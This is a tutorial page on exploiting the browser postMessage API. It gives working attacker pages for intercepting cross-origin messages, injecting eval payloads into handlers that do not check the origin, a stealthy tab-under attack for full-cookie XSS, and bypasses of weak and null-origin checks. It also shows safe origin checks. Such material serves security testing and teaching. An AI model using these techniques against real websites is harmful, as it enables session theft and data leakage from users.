postMessage Exploitation

Send cross-origin messages with arbitrary data, which can easily lead to Cross-Site Scripting in vulnerable handler that fail to verify the origin

Description

The window.postMessage API in JavaScript allows windows, even from different origins or sites, to communicate using messages. One window can register a listener, and another with a reference to the first window can send it any message. The listener will receive messages from any location and needs to handle the integrity of those messages by itself. See the following example:

https://example1.com
<body>
  <script>
    async function sleep(ms) {
      return new Promise((resolve) => setTimeout(resolve, ms));
    }

    // Receive response from the child window
    onmessage = async (e) => {
      console.log("Response:", e.data);
    };

    onclick = async () => {
      const w = window.open("https://example2.com");
      await sleep(1000);
      // Send initial message
      w.postMessage("Hello", "*");
    };
  </script>
</body>
https://example2.com
<script>
  onmessage = async (e) => {
    console.log("Received:", e.data);
    // Send a message back to the parent window
    e.source.postMessage("echoed " + e.data, "*");
  };
</script>

The above will send a "Hello" message to the opened window, receiving the message and returning an echoed response. The original window will receive this and log the response as "echoed Hello".

Methodology

Step 1 - Finding postMessage uses: Use loggers such as postMessage-tracker or Burp Suite DOM Invader to find any messages an application sends while browsing the target application.

Step 2 - Checking sender targetOrigin: Find calls to postMessage(message, targetOrigin) where the targetOrigin is a wildcard ("*") or another origin that you control. If the window this method is called on is your domain, you can receive and read this message. The opener variable may point to your domain if the target was opened as a new tab from there. If the message is sent to an iframe inside the target page, and the target page itself is framable, you can hijack the location of this inner iframe to intercept the message before it is sent.

Step 3 - Checking listener origins: Look for listeners registered via document.onmessage = or addEventListener("message", ...) and check if their function body verifies the e.origin of the message correctly. This should be done against a static expected origin or the safe window.location.origin variable. Even window.origin is unsafe and vulnerable as explained in Bypassing window.origin using 'null' origin.

Step 4 - Finding vulnerable sinks: When a handler uses flawed logic to verify the origin, you can send arbitrary messages to it from your origin. Use debugging with breakpoints to follow what the handler does and if the e.data reaches any dangerous sinks like eval(...) or location = "javascript:...". Remember that your data must fit the Structured Clone Algorithm which disallows sending functions, but allows a lot more like strings, arrays, objects and some more complex types (more than just JSON).

Step 5 - Exploiting a vulnerability: After finding a vulnerable sink in a flawed origin check, write a simple HTML page on another origin to exploit it. If the target page allows it, it can be iframed without interaction, but cookies won't always be used. After an interaction with onclick = you may open a window to the target page and hold that reference to send messages to exploit it. See the examples below for some different exploitation techniques.

Target Origin Check

window.postMessage(message, targetOrigin)

As you can see, the first argument is for the data sent. The only requirement for this data is that it can be sent using the Structured Clone Algorithm. The second argument is more interesting for vulnerabilities as it defines the targetOrigin. Because JavaScript doesn't know if the window's origin changed between loading the window and sending the message, this argument is another check that verifies the origin of the window you are sending a message to is the value in the string. The special "*" symbol means a wildcard, or any origin (less secure).

If a website does not verify where it is sending a message, you may be able to receive a message that wasn't intended for you. One trick involving this idea is the fact that any origin can change the location of frames within an iframe. If we can iframe a target page that itself loads another iframe, we can change the location of this inner iframe to anything else to intercept messages. The following example uses example.com as the target domain, which loads an iframe of some other trusted page expecting a postMessage:

https://example.com
<body>
  <script>
    async function sleep(ms) {
      return new Promise((resolve) => setTimeout(resolve, ms));
    }

    (async () => {
      const iframe = document.createElement("iframe");
      iframe.src = "https://inner.example.com";
      document.body.appendChild(iframe);

      await sleep(1000);
      // Expects to send to inner.example.com, but wrongly uses "*" to send to any origin
      iframe.contentWindow.postMessage("secret", "*");
    })();
  </script>
</body>
https://inner.example.com
<script>
  onmessage = (e) => {
    console.log("INNER", e.data);
  };
</script>

An attacker can abuse this by using the window.frames property to change the location of this inner iframe, and intercept the secret message:

https://attacker.com
<body>
  <script>
    async function sleep(ms) {
      return new Promise((resolve) => setTimeout(resolve, ms));
    }

    (async () => {
      const iframe = document.createElement("iframe");
      iframe.src = "https://example.com";
      document.body.appendChild(iframe);

      await sleep(1000);
      // After example.com has loaded and the frame was created, redirect it to our domain
      iframe.contentWindow.frames[0].location = "https://attacker.com/leak.html";
    })();
  </script>
</body>
/leak.html
<script>
  onmessage = (e) => {
    // The secret postmessage will now end up in this handler!
    console.log("LEAKED", e.data);
  };
</script>

Handler Origin Check

Another more common vulnerability is vulnerable handlers. If a target site creates a listener with code that does not verify the origin (e.origin), it may parse untrusted data. If this wasn't expected, the data may end up in dangerous sinks and allow vulnerabilities like XSS or leaking data through a response to e.source.

Finding handlers

You can find all listeners manually by checking Global Listeners in the DevTools -> Sources tab:

Another option is using extensions that automatically log every message being sent. This allows you to get a quick idea of what kind of data is being sent, and if it may be sensitive or dangerous:

An example of a dangerous handler is the following. Note that it does not verify the origin of the message, and the sent data ends up in a dangerous sink (eval):

https://example.com
<script>
  onmessage = (e) => {
    eval(e.data);
  };
</script>

An attacker can exploit this by iframing (1) the above page, or by opening a top-level window (2) to it. Then they need to send a postMessage to this window that will exploit the sink:

https://attacker.com
<body>
  <script>
    const iframe = document.createElement("iframe");
    iframe.src = "https://example.com";
    document.body.appendChild(iframe);

    // 1. Load it in an iframe, then use .contentWindow to get a reference for sending messages
    setTimeout(() => {
      iframe.contentWindow.postMessage("alert(1)", "*");
    }, 1000);

    // 2. After interaction, open a window and send a message to it
    onclick = () => {
      const w = window.open("https://example.com");

      setTimeout(() => {
        w.postMessage("alert(2)", "*");
      }, 1000);
    };
  </script>
</body>

Notably, cookies and other resources like localStorage are not available in a third-party context like an iframe where the top-level (address bar) origin is different from the target origin. The only exception to this is SameSite=None cookies which are readable or fetch same-origin resources without any CORS limitations.

This means that to really exploit an XSS, you need to use a window instead of an iframe because its top-level origin is the same as the target origin. You will be able to read any non-httpOnly cookies through document.cookie, or use any cookies in a fetch() without CORS limitations, gaining full XSS impact.

Stealthier: tab-under method

Another stealthier way of doing the above is by never letting the user see the target website, only our attacker-controlled website. To do this, we can follow the idea below:

  1. Victim visits the attacker's website

  2. On interaction, use window.open to open a new window to an attacker's page again ("2nd window"). This will gain the focus of the browser now

  3. Now the initial window changes its own location to the target page containing a vulnerable postMessage handler, this time in a top-level context

  4. The 2nd window will now use opener.postMessage as its reference to the vulnerable domain and send the exploit to the postMessage handler. The resulting XSS will now have full access to cookies etc.

https://attacker.com
<body>
  <script>
    // Code for 2nd tab:
    setTimeout(() => {
      // After the new tab is opened, send a message to its opener which will have become the target
      opener.postMessage("alert()", "*");
    }, 1000);

    // Code for 1st tab:
    onclick = () => {
      // Duplicate this tab, focus will go to new tab
      const w = window.open(location);
      // Stealthly change the location of the old tab to target
      location = "https://example.com";
    };
  </script>
</body>

Bypassable origin checks

Websites often protect against the vulnerabilities above by checking the message origin at each handler. It will refuse to execute the potentially dangerous code if it doesn't match the expected origin. The following common examples are safe:

Safe Examples
onmessage = (e) => {
  // Message must come from https://example.com exactly
  if (e.origin !== "https://example.com") return;
  eval(e.data);  // Dangerous, but we can't reach it cross-origin
}

onmessage = (e) => {
  // Message must come from the current address bar origin
  if (e.origin !== window.location.origin) return;
  eval(e.data);
}

This requires knowing the exact origin beforehand and comparing it against it, or the frame's origin being the same as the current location. Some developers make this more generic by relaxing the condition slightly, but this can quickly lead to vulnerabilities:

Vulnerable Examples
onmessage = (e) => {
  if (e.origin.startsWith("https://example.com")) return;
  // ^^ Bypassable using "https://example.com.attacker.com"
}

onmessage = (e) => {
  if (e.origin.endsWith("example.com")) return;
  // ^^ Bypassable using "https://anythingexample.com"
}

onmessage = (e) => {
  if (e.origin.search("^https://sub.example.com$") !== 0) return;
  // ^^ Bypassable using "https://subXexample.com" because "." matches all
}

Bypassing window.origin using 'null' origin

Another more tricky condition to bypass is the following (source):

Vulnerable Example
onmessage = (e) => {
  if (e.origin !== window.origin) return;
  // ^^ Using window.origin instead of window.location.origin is unsafe!
}

The above is exploitable because using iframe sandboxes, e.origin as well as window.origin can both be set to 'null'. After doing so, SameSite=Lax cookies will be used to initiate the top-level request and may have placed a secret CSRF token or user data in the HTML, which can be read by exploiting the postMessage handler. The following was a CTF challenge that required you to use this novel technique to steal another identifier causing XSS:

https://twitter.com/terjanq/status/1446500485142355972

The technique goes as follows:

  1. Victim visits the attacker's website

  2. Create an iframe with a strict sandbox (excluding allow-same-origin) to make its origin 'null'

  3. Inside the srcdoc of this frame, open a window to the vulnerable target page after interaction. This will inherit the 'null' origin so the source and destination are the same, which will bypass the check

  4. After the message listener is registered, send a postMessage with the exploit to cause XSS in a 'null' origin

  5. Use this XSS to leak any data on the current page. You cannot access resources like cookies or localStorage, and fetches will exclude any cookies because the origin is 'null' and SOP is in effect. The idea is to read a CSRF token on the vulnerable page and exfiltrate it for another attack

Below is an example of a vulnerable page that registers a message listener and shows sensitive content on the page (cookies directly, but this may be a CSRF token or user data):

https://example.com
<?php
// Vulnerable handler page contains some sensitive data
print_r($_COOKIE);
?>
<script>
  onmessage = (e) => {
    if (e.origin !== window.origin) return;
    eval(e.data);
  }
</script>

This can be exploited with a single click on the following attacker's page:

https://attacker.com
<body>
  <script>
    // Sandboxed iframe to create 'null' origins
    const frame = document.createElement("iframe");
    frame.sandbox = "allow-scripts allow-popups allow-modals allow-top-navigation";

    frame.srcdoc = `
  <h1>Click here!</h1>
  <script>
  onclick = () => {
    // Open the target page in a top-level context, including SameSite=Lax cookies
    const w = window.open("https://example.com");
    
    setTimeout(() => {
      // Exploit the XSS by reading the body
      w.postMessage("alert(document.body.innerText)", "*");
    }, 1000);
  }
<\/script>
    `;
    document.body.appendChild(frame);
  </script>
</body>

Last updated